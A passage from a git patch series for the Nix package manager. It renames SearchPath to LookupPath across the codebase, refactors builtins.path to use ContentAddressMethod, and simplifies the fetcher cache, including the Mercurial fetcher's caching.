-    static SearchPath parse(const Strings & rawElems);
+    static LookupPath parse(const Strings & rawElems);
 };
 
-struct SearchPath::Prefix
+struct LookupPath::Prefix
 {
     /**
      * Underlying string
      *
-     * @todo Should we normalize this when constructing a `SearchPath::Prefix`?
+     * @todo Should we normalize this when constructing a `LookupPath::Prefix`?
      */
     std::string s;
 
-    GENERATE_CMP(SearchPath::Prefix, me->s);
+    GENERATE_CMP(LookupPath::Prefix, me->s);
 
     /**
      * If the path possibly matches this search path element, return the
@@ -82,7 +82,7 @@ struct SearchPath::Prefix
     std::optional<std::string_view> suffixIfPotentialMatch(std::string_view path) const;
 };
 
-struct SearchPath::Path
+struct LookupPath::Path
 {
     /**
      * The location of a search path item, as a path or URL.
@@ -91,21 +91,21 @@ struct SearchPath::Path
      */
     std::string s;
 
-    GENERATE_CMP(SearchPath::Path, me->s);
+    GENERATE_CMP(LookupPath::Path, me->s);
 };
 
-struct SearchPath::Elem
+struct LookupPath::Elem
 {
 
     Prefix prefix;
     Path path;
 
-    GENERATE_CMP(SearchPath::Elem, me->prefix, me->path);
+    GENERATE_CMP(LookupPath::Elem, me->prefix, me->path);
 
     /**
-     * Parse a string into a `SearchPath::Elem`
+     * Parse a string into a `LookupPath::Elem`
      */
-    static SearchPath::Elem parse(std::string_view rawElem);
+    static LookupPath::Elem parse(std::string_view rawElem);
 };
 
 }
diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc
index a4a00374c19..e310af063df 100644
--- a/src/libfetchers/git-utils.cc
+++ b/src/libfetchers/git-utils.cc
@@ -385,7 +385,7 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this<GitRepoImpl>
 
         runProgram(RunOptions {
             .program = "git",
-            .searchPath = true,
+            .lookupPath = true,
             // FIXME: git stderr messes up our progress indicator, so
             // we're using --quiet for now. Should process its stderr.
             .args = gitArgs,
diff --git a/src/libfetchers/unix/mercurial.cc b/src/libfetchers/unix/mercurial.cc
index 4e0b26274fe..df6bc53354a 100644
--- a/src/libfetchers/unix/mercurial.cc
+++ b/src/libfetchers/unix/mercurial.cc
@@ -24,7 +24,7 @@ static RunOptions hgOptions(const Strings & args)
 
     return {
         .program = "hg",
-        .searchPath = true,
+        .lookupPath = true,
         .args = args,
         .environment = env
     };
diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
index aad5173e7af..72125cb828c 100644
--- a/src/libstore/unix/build/local-derivation-goal.cc
+++ b/src/libstore/unix/build/local-derivation-goal.cc
@@ -77,7 +77,7 @@ void handleDiffHook(
         try {
             auto diffRes = runProgram(RunOptions {
                 .program = diffHook,
-                .searchPath = true,
+                .lookupPath = true,
                 .args = {tryA, tryB, drvPath, tmpDir},
                 .uid = uid,
                 .gid = gid,
diff --git a/src/libutil/processes.hh b/src/libutil/processes.hh
index a7e85b5beec..e319f79e011 100644
--- a/src/libutil/processes.hh
+++ b/src/libutil/processes.hh
@@ -80,14 +80,14 @@ pid_t startProcess(std::function<void()> fun, const ProcessOptions & options = P
  * Run a program and return its stdout in a string (i.e., like the
  * shell backtick operator).
  */
-std::string runProgram(Path program, bool searchPath = false,
+std::string runProgram(Path program, bool lookupPath = false,
     const Strings & args = Strings(),
     const std::optional<std::string> & input = {}, bool isInteractive = false);
 
 struct RunOptions
 {
     Path program;
-    bool searchPath = true;
+    bool lookupPath = true;
     Strings args;
 #ifndef _WIN32
     std::optional<uid_t> uid;
diff --git a/src/libutil/unix/processes.cc b/src/libutil/unix/processes.cc
index f5d584330ab..1af559a21b9 100644
--- a/src/libutil/unix/processes.cc
+++ b/src/libutil/unix/processes.cc
@@ -245,10 +245,10 @@ pid_t startProcess(std::function<void()> fun, const ProcessOptions & options)
 }
 
 
-std::string runProgram(Path program, bool searchPath, const Strings & args,
+std::string runProgram(Path program, bool lookupPath, const Strings & args,
     const std::optional<std::string> & input, bool isInteractive)
 {
-    auto res = runProgram(RunOptions {.program = program, .searchPath = searchPath, .args = args, .input = input, .isInteractive = isInteractive});
+    auto res = runProgram(RunOptions {.program = program, .lookupPath = lookupPath, .args = args, .input = input, .isInteractive = isInteractive});
 
     if (!statusOk(res.first))
         throw ExecError(res.first, "program '%1%' %2%", program, statusToString(res.first));
@@ -335,7 +335,7 @@ void runProgram2(const RunOptions & options)
 
         restoreProcessContext();
 
-        if (options.searchPath)
+        if (options.lookupPath)
             execvp(options.program.c_str(), stringsToCharPtrs(args_).data());
             // This allows you to refer to a program with a pathname relative
             // to the PATH variable.
diff --git a/src/libutil/windows/processes.cc b/src/libutil/windows/processes.cc
index 2a5377f3ffa..5ef4ed1e46a 100644
--- a/src/libutil/windows/processes.cc
+++ b/src/libutil/windows/processes.cc
@@ -28,7 +28,7 @@
 
 namespace nix {
 
-std::string runProgram(Path program, bool searchPath, const Strings & args,
+std::string runProgram(Path program, bool lookupPath, const Strings & args,
     const std::optional<std::string> & input, bool isInteractive)
 {
     throw UnimplementedError("Cannot shell out to git on Windows yet");
diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc
index 198e9cda013..30ebc9498c5 100644
--- a/src/nix-build/nix-build.cc
+++ b/src/nix-build/nix-build.cc
@@ -258,7 +258,7 @@ static void main_nix_build(int argc, char * * argv)
     auto store = openStore();
     auto evalStore = myArgs.evalStoreUrl ? openStore(*myArgs.evalStoreUrl) : store;
 
-    auto state = std::make_unique<EvalState>(myArgs.searchPath, evalStore, store);
+    auto state = std::make_unique<EvalState>(myArgs.lookupPath, evalStore, store);
     state->repair = myArgs.repair;
     if (myArgs.repair) buildMode = bmRepair;
 
diff --git a/src/nix-env/nix-env.cc b/src/nix-env/nix-env.cc
index eeca01833b2..25c8f43c2f8 100644
--- a/src/nix-env/nix-env.cc
+++ b/src/nix-env/nix-env.cc
@@ -1525,7 +1525,7 @@ static int main_nix_env(int argc, char * * argv)
 
         auto store = openStore();
 
-        globals.state = std::shared_ptr<EvalState>(new EvalState(myArgs.searchPath, store));
+        globals.state = std::shared_ptr<EvalState>(new EvalState(myArgs.lookupPath, store));
         globals.state->repair = myArgs.repair;
 
         globals.instSource.nixExprPath = std::make_shared<SourcePath>(
diff --git a/src/nix-instantiate/nix-instantiate.cc b/src/nix-instantiate/nix-instantiate.cc
index 1e17282254f..35664374cea 100644
--- a/src/nix-instantiate/nix-instantiate.cc
+++ b/src/nix-instantiate/nix-instantiate.cc
@@ -157,7 +157,7 @@ static int main_nix_instantiate(int argc, char * * argv)
         auto store = openStore();
         auto evalStore = myArgs.evalStoreUrl ? openStore(*myArgs.evalStoreUrl) : store;
 
-        auto state = std::make_unique<EvalState>(myArgs.searchPath, evalStore, store);
+        auto state = std::make_unique<EvalState>(myArgs.lookupPath, evalStore, store);
         state->repair = myArgs.repair;
 
         Bindings & autoArgs = *myArgs.getAutoArgs(*state);
diff --git a/src/nix/develop.cc b/src/nix/develop.cc
index 35d3da9120c..f2df814d7eb 100644
--- a/src/nix/develop.cc
+++ b/src/nix/develop.cc
@@ -687,7 +687,7 @@ struct CmdDevelop : Common, MixEnvironment
             }
         }
 
-        runProgramInStore(store, UseSearchPath::Use, shell, args, buildEnvironment.getSystem());
+        runProgramInStore(store, UseLookupPath::Use, shell, args, buildEnvironment.getSystem());
 #endif
     }
 };
diff --git a/src/nix/fmt.cc b/src/nix/fmt.cc
index 059904150f3..4b0fbb89dfb 100644
--- a/src/nix/fmt.cc
+++ b/src/nix/fmt.cc
@@ -49,7 +49,7 @@ struct CmdFmt : SourceExprCommand {
             }
         }
 
-        runProgramInStore(store, UseSearchPath::DontUse, app.program, programArgs);
+        runProgramInStore(store, UseLookupPath::DontUse, app.program, programArgs);
     };
 };
 
diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc
index 8e6a2e805cd..f905cabeff6 100644
--- a/src/nix/prefetch.cc
+++ b/src/nix/prefetch.cc
@@ -193,7 +193,7 @@ static int main_nix_prefetch_url(int argc, char * * argv)
           startProgressBar();
 
         auto store = openStore();
-        auto state = std::make_unique<EvalState>(myArgs.searchPath, store);
+        auto state = std::make_unique<EvalState>(myArgs.lookupPath, store);
 
         Bindings & autoArgs = *myArgs.getAutoArgs(*state);
 
diff --git a/src/nix/repl.cc b/src/nix/repl.cc
index 8bbfe0f0765..a2f3e033e72 100644
--- a/src/nix/repl.cc
+++ b/src/nix/repl.cc
@@ -78,7 +78,7 @@ struct CmdRepl : RawInstallablesCommand
             return values;
         };
         auto repl = AbstractNixRepl::create(
-            searchPath,
+            lookupPath,
             openStore(),
             state,
             getValues
diff --git a/src/nix/run.cc b/src/nix/run.cc
index c456833029e..88821710dfe 100644
--- a/src/nix/run.cc
+++ b/src/nix/run.cc
@@ -25,7 +25,7 @@ std::string chrootHelperName = "__run_in_chroot";
 namespace nix {
 
 void runProgramInStore(ref<Store> store,
-    UseSearchPath useSearchPath,
+    UseLookupPath useLookupPath,
     const std::string & program,
     const Strings & args,
     std::optional<std::string_view> system)
@@ -61,7 +61,7 @@ void runProgramInStore(ref<Store> store,
         linux::setPersonality(*system);
 #endif
 
-    if (useSearchPath == UseSearchPath::Use)
+    if (useLookupPath == UseLookupPath::Use)
         execvp(program.c_str(), stringsToCharPtrs(args).data());
     else
         execv(program.c_str(), stringsToCharPtrs(args).data());
@@ -142,7 +142,7 @@ struct CmdShell : InstallablesCommand, MixEnvironment
         Strings args;
         for (auto & arg : command) args.push_back(arg);
 
-        runProgramInStore(store, UseSearchPath::Use, *command.begin(), args);
+        runProgramInStore(store, UseLookupPath::Use, *command.begin(), args);
     }
 };
 
@@ -204,7 +204,7 @@ struct CmdRun : InstallableValueCommand
         Strings allArgs{app.program};
         for (auto & i : args) allArgs.push_back(i);
 
-        runProgramInStore(store, UseSearchPath::DontUse, app.program, allArgs);
+        runProgramInStore(store, UseLookupPath::DontUse, app.program, allArgs);
     }
 };
 
diff --git a/src/nix/run.hh b/src/nix/run.hh
index a55917b06d7..2fe6ed86ae6 100644
--- a/src/nix/run.hh
+++ b/src/nix/run.hh
@@ -5,13 +5,13 @@
 
 namespace nix {
 
-enum struct UseSearchPath {
+enum struct UseLookupPath {
     Use,
     DontUse
 };
 
 void runProgramInStore(ref<Store> store,
-    UseSearchPath useSearchPath,
+    UseLookupPath useLookupPath,
     const std::string & program,
     const Strings & args,
     std::optional<std::string_view> system = std::nullopt);
diff --git a/src/nix/upgrade-nix.cc b/src/nix/upgrade-nix.cc
index 4c7a74e16f1..a64b6a56edd 100644
--- a/src/nix/upgrade-nix.cc
+++ b/src/nix/upgrade-nix.cc
@@ -147,7 +147,7 @@ struct CmdUpgradeNix : MixDryRun, StoreCommand
         auto req = FileTransferRequest((std::string&) settings.upgradeNixStorePathUrl);
         auto res = getFileTransfer()->download(req);
 
-        auto state = std::make_unique<EvalState>(SearchPath{}, store);
+        auto state = std::make_unique<EvalState>(LookupPath{}, store);
         auto v = state->allocValue();
         state->eval(state->parseExprFromString(res.data, state->rootPath(CanonPath("/no-such-path"))), *v);
         Bindings & bindings(*state->allocBindings(0));
diff --git a/tests/unit/libexpr/search-path.cc b/tests/unit/libexpr/search-path.cc
index dbe7ab95fb5..0806793557d 100644
--- a/tests/unit/libexpr/search-path.cc
+++ b/tests/unit/libexpr/search-path.cc
@@ -5,85 +5,85 @@
 
 namespace nix {
 
-TEST(SearchPathElem, parse_justPath) {
+TEST(LookupPathElem, parse_justPath) {
     ASSERT_EQ(
-        SearchPath::Elem::parse("foo"),
-        (SearchPath::Elem {
-            .prefix = SearchPath::Prefix { .s = "" },
-            .path = SearchPath::Path { .s = "foo" },
+        LookupPath::Elem::parse("foo"),
+        (LookupPath::Elem {
+            .prefix = LookupPath::Prefix { .s = "" },
+            .path = LookupPath::Path { .s = "foo" },
         }));
 }
 
-TEST(SearchPathElem, parse_emptyPrefix) {
+TEST(LookupPathElem, parse_emptyPrefix) {
     ASSERT_EQ(
-        SearchPath::Elem::parse("=foo"),
-        (SearchPath::Elem {
-            .prefix = SearchPath::Prefix { .s = "" },
-            .path = SearchPath::Path { .s = "foo" },
+        LookupPath::Elem::parse("=foo"),
+        (LookupPath::Elem {
+            .prefix = LookupPath::Prefix { .s = "" },
+            .path = LookupPath::Path { .s = "foo" },
         }));
 }
 
-TEST(SearchPathElem, parse_oneEq) {
+TEST(LookupPathElem, parse_oneEq) {
     ASSERT_EQ(
-        SearchPath::Elem::parse("foo=bar"),
-        (SearchPath::Elem {
-            .prefix = SearchPath::Prefix { .s = "foo" },
-            .path = SearchPath::Path { .s = "bar" },
+        LookupPath::Elem::parse("foo=bar"),
+        (LookupPath::Elem {
+            .prefix = LookupPath::Prefix { .s = "foo" },
+            .path = LookupPath::Path { .s = "bar" },
         }));
 }
 
-TEST(SearchPathElem, parse_twoEqs) {
+TEST(LookupPathElem, parse_twoEqs) {
     ASSERT_EQ(
-        SearchPath::Elem::parse("foo=bar=baz"),
-        (SearchPath::Elem {
-            .prefix = SearchPath::Prefix { .s = "foo" },
-            .path = SearchPath::Path { .s = "bar=baz" },
+        LookupPath::Elem::parse("foo=bar=baz"),
+        (LookupPath::Elem {
+            .prefix = LookupPath::Prefix { .s = "foo" },
+            .path = LookupPath::Path { .s = "bar=baz" },
         }));
 }
 
 
-TEST(SearchPathElem, suffixIfPotentialMatch_justPath) {
-    SearchPath::Prefix prefix { .s = "" };
+TEST(LookupPathElem, suffixIfPotentialMatch_justPath) {
+    LookupPath::Prefix prefix { .s = "" };
     ASSERT_EQ(prefix.suffixIfPotentialMatch("any/thing"), std::optional { "any/thing" });
 }
 
-TEST(SearchPathElem, suffixIfPotentialMatch_misleadingPrefix1) {
-    SearchPath::Prefix prefix { .s = "foo" };
+TEST(LookupPathElem, suffixIfPotentialMatch_misleadingPrefix1) {
+    LookupPath::Prefix prefix { .s = "foo" };
     ASSERT_EQ(prefix.suffixIfPotentialMatch("fooX"), std::nullopt);
 }
 
-TEST(SearchPathElem, suffixIfPotentialMatch_misleadingPrefix2) {
-    SearchPath::Prefix prefix { .s = "foo" };
+TEST(LookupPathElem, suffixIfPotentialMatch_misleadingPrefix2) {
+    LookupPath::Prefix prefix { .s = "foo" };
     ASSERT_EQ(prefix.suffixIfPotentialMatch("fooX/bar"), std::nullopt);
 }
 
-TEST(SearchPathElem, suffixIfPotentialMatch_partialPrefix) {
-    SearchPath::Prefix prefix { .s = "fooX" };
+TEST(LookupPathElem, suffixIfPotentialMatch_partialPrefix) {
+    LookupPath::Prefix prefix { .s = "fooX" };
     ASSERT_EQ(prefix.suffixIfPotentialMatch("foo"), std::nullopt);
 }
 
-TEST(SearchPathElem, suffixIfPotentialMatch_exactPrefix) {
-    SearchPath::Prefix prefix { .s = "foo" };
+TEST(LookupPathElem, suffixIfPotentialMatch_exactPrefix) {
+    LookupPath::Prefix prefix { .s = "foo" };
     ASSERT_EQ(prefix.suffixIfPotentialMatch("foo"), std::optional { "" });
 }
 
-TEST(SearchPathElem, suffixIfPotentialMatch_multiKey) {
-    SearchPath::Prefix prefix { .s = "foo/bar" };
+TEST(LookupPathElem, suffixIfPotentialMatch_multiKey) {
+    LookupPath::Prefix prefix { .s = "foo/bar" };
     ASSERT_EQ(prefix.suffixIfPotentialMatch("foo/bar/baz"), std::optional { "baz" });
 }
 
-TEST(SearchPathElem, suffixIfPotentialMatch_trailingSlash) {
-    SearchPath::Prefix prefix { .s = "foo" };
+TEST(LookupPathElem, suffixIfPotentialMatch_trailingSlash) {
+    LookupPath::Prefix prefix { .s = "foo" };
     ASSERT_EQ(prefix.suffixIfPotentialMatch("foo/"), std::optional { "" });
 }
 
-TEST(SearchPathElem, suffixIfPotentialMatch_trailingDoubleSlash) {
-    SearchPath::Prefix prefix { .s = "foo" };
+TEST(LookupPathElem, suffixIfPotentialMatch_trailingDoubleSlash) {
+    LookupPath::Prefix prefix { .s = "foo" };
     ASSERT_EQ(prefix.suffixIfPotentialMatch("foo//"), std::optional { "/" });
 }
 
-TEST(SearchPathElem, suffixIfPotentialMatch_trailingPath) {
-    SearchPath::Prefix prefix { .s = "foo" };
+TEST(LookupPathElem, suffixIfPotentialMatch_trailingPath) {
+    LookupPath::Prefix prefix { .s = "foo" };
     ASSERT_EQ(prefix.suffixIfPotentialMatch("foo/bar/baz"), std::optional { "bar/baz" });
 }
 

From eff90af49811ff186b94c009d34bbcda518acd6a Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Sat, 13 Apr 2024 12:10:12 -0400
Subject: [PATCH 007/528] Slight refactors in preparation for #10480

Code operating on store objects (including creating them) should, in
general, use `ContentAddressMethod` rather than `FileIngestionMethod`.

See also dfc876531f269950a4e183a4f77a813c421d7d64 which included some
similar refactors.
---
 src/libexpr/primops.cc | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index 8cec93001ec..d50dad5ef0c 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -2248,7 +2248,7 @@ static void addPath(
     std::string_view name,
     SourcePath path,
     Value * filterFun,
-    FileIngestionMethod method,
+    ContentAddressMethod method,
     const std::optional<Hash> expectedHash,
     Value & v,
     const NixStringContext & context)
@@ -2280,11 +2280,10 @@ static void addPath(
 
         std::optional<StorePath> expectedStorePath;
         if (expectedHash)
-            expectedStorePath = state.store->makeFixedOutputPath(name, FixedOutputInfo {
-                .method = method,
-                .hash = *expectedHash,
-                .references = {},
-            });
+            expectedStorePath = state.store->makeFixedOutputPathFromCA(name, ContentAddressWithReferences::fromParts(
+                method,
+                *expectedHash,
+                {}));
 
         if (!expectedHash || !state.store->isValidPath(*expectedStorePath)) {
             auto dstPath = fetchToStore(
@@ -2380,7 +2379,7 @@ static void prim_path(EvalState & state, const PosIdx pos, Value * * args, Value
     std::optional<SourcePath> path;
     std::string name;
     Value * filterFun = nullptr;
-    auto method = FileIngestionMethod::Recursive;
+    ContentAddressMethod method = FileIngestionMethod::Recursive;
     std::optional<Hash> expectedHash;
     NixStringContext context;
 
@@ -2395,7 +2394,9 @@ static void prim_path(EvalState & state, const PosIdx pos, Value * * args, Value
         else if (n == "filter")
             state.forceFunction(*(filterFun = attr.value), attr.pos, "while evaluating the `filter` parameter passed to builtins.path");
         else if (n == "recursive")
-            method = FileIngestionMethod { state.forceBool(*attr.value, attr.pos, "while evaluating the `recursive` attribute passed to builtins.path") };
+            method = state.forceBool(*attr.value, attr.pos, "while evaluating the `recursive` attribute passed to builtins.path")
+                ? FileIngestionMethod::Recursive
+                : FileIngestionMethod::Flat;
         else if (n == "sha256")
             expectedHash = newHashAllowEmpty(state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the `sha256` attribute passed to builtins.path"), HashAlgorithm::SHA256);
         else

From 62ce139e3fa2dad5731d21f703b03aa8323c4b6e Mon Sep 17 00:00:00 2001
From: Roland Coeurjoly <rolandcoeurjoly@gmail.com>
Date: Sat, 13 Apr 2024 23:34:01 +0200
Subject: [PATCH 008/528] No need to undef now that there is no collision

---
 src/libexpr/eval.hh        | 3 ---
 src/libexpr/search-path.hh | 3 ---
 2 files changed, 6 deletions(-)

diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh
index b62c994ad4e..3477f6c4699 100644
--- a/src/libexpr/eval.hh
+++ b/src/libexpr/eval.hh
@@ -161,9 +161,6 @@ struct DebugTrace {
     bool isError;
 };
 
-// Don't want Windows function
-#undef LookupPath
-
 class EvalState : public std::enable_shared_from_this<EvalState>
 {
 public:
diff --git a/src/libexpr/search-path.hh b/src/libexpr/search-path.hh
index 6a63f373035..acd84363853 100644
--- a/src/libexpr/search-path.hh
+++ b/src/libexpr/search-path.hh
@@ -8,9 +8,6 @@
 
 namespace nix {
 
-// Do not want the windows macro (alias to `LookupPathA`)
-#undef LookupPath
-
 /**
  * A "search path" is a list of ways look for something, used with
  * `builtins.findFile` and `< >` lookup expressions.

From d084c1cb410679ba2f80998e2263c60108aa0115 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Wed, 10 Apr 2024 12:46:21 +0200
Subject: [PATCH 009/528] Remove the "locked" flag from the fetcher cache

This also reworks the Mercurial fetcher (which was still using the
old cache interface) to have two distinct cache mappings:

* A ref-to-rev mapping, which is store-independent.
* A rev-to-store-path mapping.
---
 src/libfetchers/cache.cc           |  9 ++--
 src/libfetchers/cache.hh           |  3 +-
 src/libfetchers/fetch-to-store.cc  |  3 +-
 src/libfetchers/tarball.cc         |  3 +-
 src/libfetchers/unix/mercurial.cc  | 84 ++++++++++++++----------------
 tests/functional/fetchMercurial.sh |  1 +
 6 files changed, 45 insertions(+), 58 deletions(-)

diff --git a/src/libfetchers/cache.cc b/src/libfetchers/cache.cc
index e071b4717b4..83962856cd5 100644
--- a/src/libfetchers/cache.cc
+++ b/src/libfetchers/cache.cc
@@ -14,7 +14,7 @@ create table if not exists Cache (
     input     text not null,
     info      text not null,
     path      text not null,
-    immutable integer not null,
+    immutable integer not null, /* obsolete */
     timestamp integer not null,
     primary key (input)
 );
@@ -45,7 +45,7 @@ struct CacheImpl : Cache
         state->db.exec(schema);
 
         state->add.create(state->db,
-            "insert or replace into Cache(input, info, path, immutable, timestamp) values (?, ?, ?, ?, ?)");
+            "insert or replace into Cache(input, info, path, immutable, timestamp) values (?, ?, ?, false, ?)");
 
         state->lookup.create(state->db,
             "select info, path, immutable, timestamp from Cache where input = ?");
@@ -59,7 +59,6 @@ struct CacheImpl : Cache
             (attrsToJSON(inAttrs).dump())
             (attrsToJSON(infoAttrs).dump())
             ("") // no path
-            (false)
             (time(0)).exec();
     }
 
@@ -109,14 +108,12 @@ struct CacheImpl : Cache
         Store & store,
         const Attrs & inAttrs,
         const Attrs & infoAttrs,
-        const StorePath & storePath,
-        bool locked) override
+        const StorePath & storePath) override
     {
         _state.lock()->add.use()
             (attrsToJSON(inAttrs).dump())
             (attrsToJSON(infoAttrs).dump())
             (store.printStorePath(storePath))
-            (locked)
             (time(0)).exec();
     }
 
diff --git a/src/libfetchers/cache.hh b/src/libfetchers/cache.hh
index 791d77025aa..5e05d7af8d0 100644
--- a/src/libfetchers/cache.hh
+++ b/src/libfetchers/cache.hh
@@ -53,8 +53,7 @@ struct Cache
         Store & store,
         const Attrs & inAttrs,
         const Attrs & infoAttrs,
-        const StorePath & storePath,
-        bool locked) = 0;
+        const StorePath & storePath) = 0;
 
     virtual std::optional<std::pair<Attrs, StorePath>> lookup(
         Store & store,
diff --git a/src/libfetchers/fetch-to-store.cc b/src/libfetchers/fetch-to-store.cc
index 398286065e6..4156302c4d5 100644
--- a/src/libfetchers/fetch-to-store.cc
+++ b/src/libfetchers/fetch-to-store.cc
@@ -47,10 +47,9 @@ StorePath fetchToStore(
             name, *path.accessor, path.path, method, HashAlgorithm::SHA256, {}, filter2, repair);
 
     if (cacheKey && mode == FetchMode::Copy)
-        fetchers::getCache()->add(store, *cacheKey, {}, storePath, true);
+        fetchers::getCache()->add(store, *cacheKey, {}, storePath);
 
     return storePath;
 }
 
-
 }
diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc
index a1f934c35df..fd59c113271 100644
--- a/src/libfetchers/tarball.cc
+++ b/src/libfetchers/tarball.cc
@@ -99,8 +99,7 @@ DownloadFileResult downloadFile(
             *store,
             inAttrs,
             infoAttrs,
-            *storePath,
-            false);
+            *storePath);
     }
 
     return {
diff --git a/src/libfetchers/unix/mercurial.cc b/src/libfetchers/unix/mercurial.cc
index a2702338ff8..783e338bfb5 100644
--- a/src/libfetchers/unix/mercurial.cc
+++ b/src/libfetchers/unix/mercurial.cc
@@ -224,22 +224,17 @@ struct MercurialInputScheme : InputScheme
 
         if (!input.getRef()) input.attrs.insert_or_assign("ref", "default");
 
-        auto checkHashAlgorithm = [&](const std::optional<Hash> & hash)
+        auto revInfoCacheKey = [&](const Hash & rev)
         {
-            if (hash.has_value() && hash->algo != HashAlgorithm::SHA1)
-                throw Error("Hash '%s' is not supported by Mercurial. Only sha1 is supported.", hash->to_string(HashFormat::Base16, true));
-        };
-
-
-        auto getLockedAttrs = [&]()
-        {
-            checkHashAlgorithm(input.getRev());
+            if (rev.algo != HashAlgorithm::SHA1)
+                throw Error("Hash '%s' is not supported by Mercurial. Only sha1 is supported.", rev.to_string(HashFormat::Base16, true));
 
-            return Attrs({
-                {"type", "hg"},
+            return Attrs{
+                {"_what", "hgRev"},
+                {"store", store->storeDir},
                 {"name", name},
-                {"rev", input.getRev()->gitRev()},
-            });
+                {"rev", input.getRev()->gitRev()}
+            };
         };
 
         auto makeResult = [&](const Attrs & infoAttrs, const StorePath & storePath) -> StorePath
@@ -250,26 +245,22 @@ struct MercurialInputScheme : InputScheme
             return storePath;
         };
 
-        if (input.getRev()) {
-            if (auto res = getCache()->lookup(*store, getLockedAttrs()))
-                return makeResult(res->first, std::move(res->second));
-        }
-
-        auto revOrRef = input.getRev() ? input.getRev()->gitRev() : *input.getRef();
-
-        Attrs unlockedAttrs({
-            {"type", "hg"},
-            {"name", name},
+        /* Check the cache for the most recent rev for this URL/ref. */
+        Attrs refToRevCacheKey{
+            {"_what", "hgRefToRev"},
             {"url", actualUrl},
-            {"ref", *input.getRef()},
-        });
+            {"ref", *input.getRef()}
+        };
 
-        if (auto res = getCache()->lookup(*store, unlockedAttrs)) {
-            auto rev2 = Hash::parseAny(getStrAttr(res->first, "rev"), HashAlgorithm::SHA1);
-            if (!input.getRev() || input.getRev() == rev2) {
-                input.attrs.insert_or_assign("rev", rev2.gitRev());
-                return makeResult(res->first, std::move(res->second));
-            }
+        if (!input.getRev()) {
+            if (auto res = getCache()->lookupWithTTL(refToRevCacheKey))
+                input.attrs.insert_or_assign("rev", getRevAttr(*res, "rev").gitRev());
+        }
+
+        /* If we have a rev, check if we have a cached store path. */
+        if (auto rev = input.getRev()) {
+            if (auto res = getCache()->lookupExpired(*store, revInfoCacheKey(*rev)))
+                return makeResult(res->infoAttrs, res->storePath);
         }
 
         Path cacheDir = fmt("%s/nix/hg/%s", getCacheDir(), hashString(HashAlgorithm::SHA256, actualUrl).to_string(HashFormat::Nix32, false));
@@ -302,21 +293,29 @@ struct MercurialInputScheme : InputScheme
             }
         }
 
+        /* Fetch the remote rev or ref. */
         auto tokens = tokenizeString<std::vector<std::string>>(
-            runHg({ "log", "-R", cacheDir, "-r", revOrRef, "--template", "{node} {rev} {branch}" }));
+            runHg({
+                "log", "-R", cacheDir,
+                "-r", input.getRev() ? input.getRev()->gitRev() : *input.getRef(),
+                "--template", "{node} {rev} {branch}"
+            }));
         assert(tokens.size() == 3);
 
-        input.attrs.insert_or_assign("rev", Hash::parseAny(tokens[0], HashAlgorithm::SHA1).gitRev());
+        auto rev = Hash::parseAny(tokens[0], HashAlgorithm::SHA1);
+        input.attrs.insert_or_assign("rev", rev.gitRev());
         auto revCount = std::stoull(tokens[1]);
         input.attrs.insert_or_assign("ref", tokens[2]);
 
-        if (auto res = getCache()->lookup(*store, getLockedAttrs()))
-            return makeResult(res->first, std::move(res->second));
+        /* Now that we have the rev, check the cache again for a
+           cached store path. */
+        if (auto res = getCache()->lookupExpired(*store, revInfoCacheKey(rev)))
+            return makeResult(res->infoAttrs, res->storePath);
 
         Path tmpDir = createTempDir();
         AutoDelete delTmpDir(tmpDir, true);
 
-        runHg({ "archive", "-R", cacheDir, "-r", input.getRev()->gitRev(), tmpDir });
+        runHg({ "archive", "-R", cacheDir, "-r", rev.gitRev(), tmpDir });
 
         deletePath(tmpDir + "/.hg_archival.txt");
 
@@ -324,24 +323,17 @@ struct MercurialInputScheme : InputScheme
         auto storePath = store->addToStore(name, accessor, CanonPath { tmpDir });
 
         Attrs infoAttrs({
-            {"rev", input.getRev()->gitRev()},
             {"revCount", (uint64_t) revCount},
         });
 
         if (!origRev)
-            getCache()->add(
-                *store,
-                unlockedAttrs,
-                infoAttrs,
-                storePath,
-                false);
+            getCache()->upsert(refToRevCacheKey, {{"rev", rev.gitRev()}});
 
         getCache()->add(
             *store,
-            getLockedAttrs(),
+            revInfoCacheKey(rev),
             infoAttrs,
-            storePath,
-            true);
+            storePath);
 
         return makeResult(infoAttrs, std::move(storePath));
     }
diff --git a/tests/functional/fetchMercurial.sh b/tests/functional/fetchMercurial.sh
index e133df1f8a0..9f7cef7b2e6 100644
--- a/tests/functional/fetchMercurial.sh
+++ b/tests/functional/fetchMercurial.sh
@@ -101,6 +101,7 @@ path4=$(nix eval --impure --refresh --raw --expr "(builtins.fetchMercurial file:
 [[ $path2 = $path4 ]]
 
 echo paris > $repo/hello
+
 # Passing a `name` argument should be reflected in the output path
 path5=$(nix eval -vvvvv --impure --refresh --raw --expr "(builtins.fetchMercurial { url = \"file://$repo\"; name = \"foo\"; } ).outPath")
 [[ $path5 =~ -foo$ ]]

From aad11f44962aa49a61cf73155d61204ad48e42e3 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Wed, 10 Apr 2024 20:59:18 +0200
Subject: [PATCH 010/528] Simplify the fetcher cache

---
 src/libfetchers/cache.cc          | 160 +++++++++++++++---------------
 src/libfetchers/cache.hh          |  61 ++++++++----
 src/libfetchers/fetch-to-store.cc |   9 +-
 src/libfetchers/git-utils.cc      |   7 +-
 src/libfetchers/github.cc         |  14 +--
 src/libfetchers/tarball.cc        |  43 ++++----
 src/libfetchers/unix/git.cc       |  14 +--
 src/libfetchers/unix/mercurial.cc |  26 ++---
 8 files changed, 174 insertions(+), 160 deletions(-)

diff --git a/src/libfetchers/cache.cc b/src/libfetchers/cache.cc
index 83962856cd5..34eb6f32c86 100644
--- a/src/libfetchers/cache.cc
+++ b/src/libfetchers/cache.cc
@@ -11,12 +11,11 @@ namespace nix::fetchers {
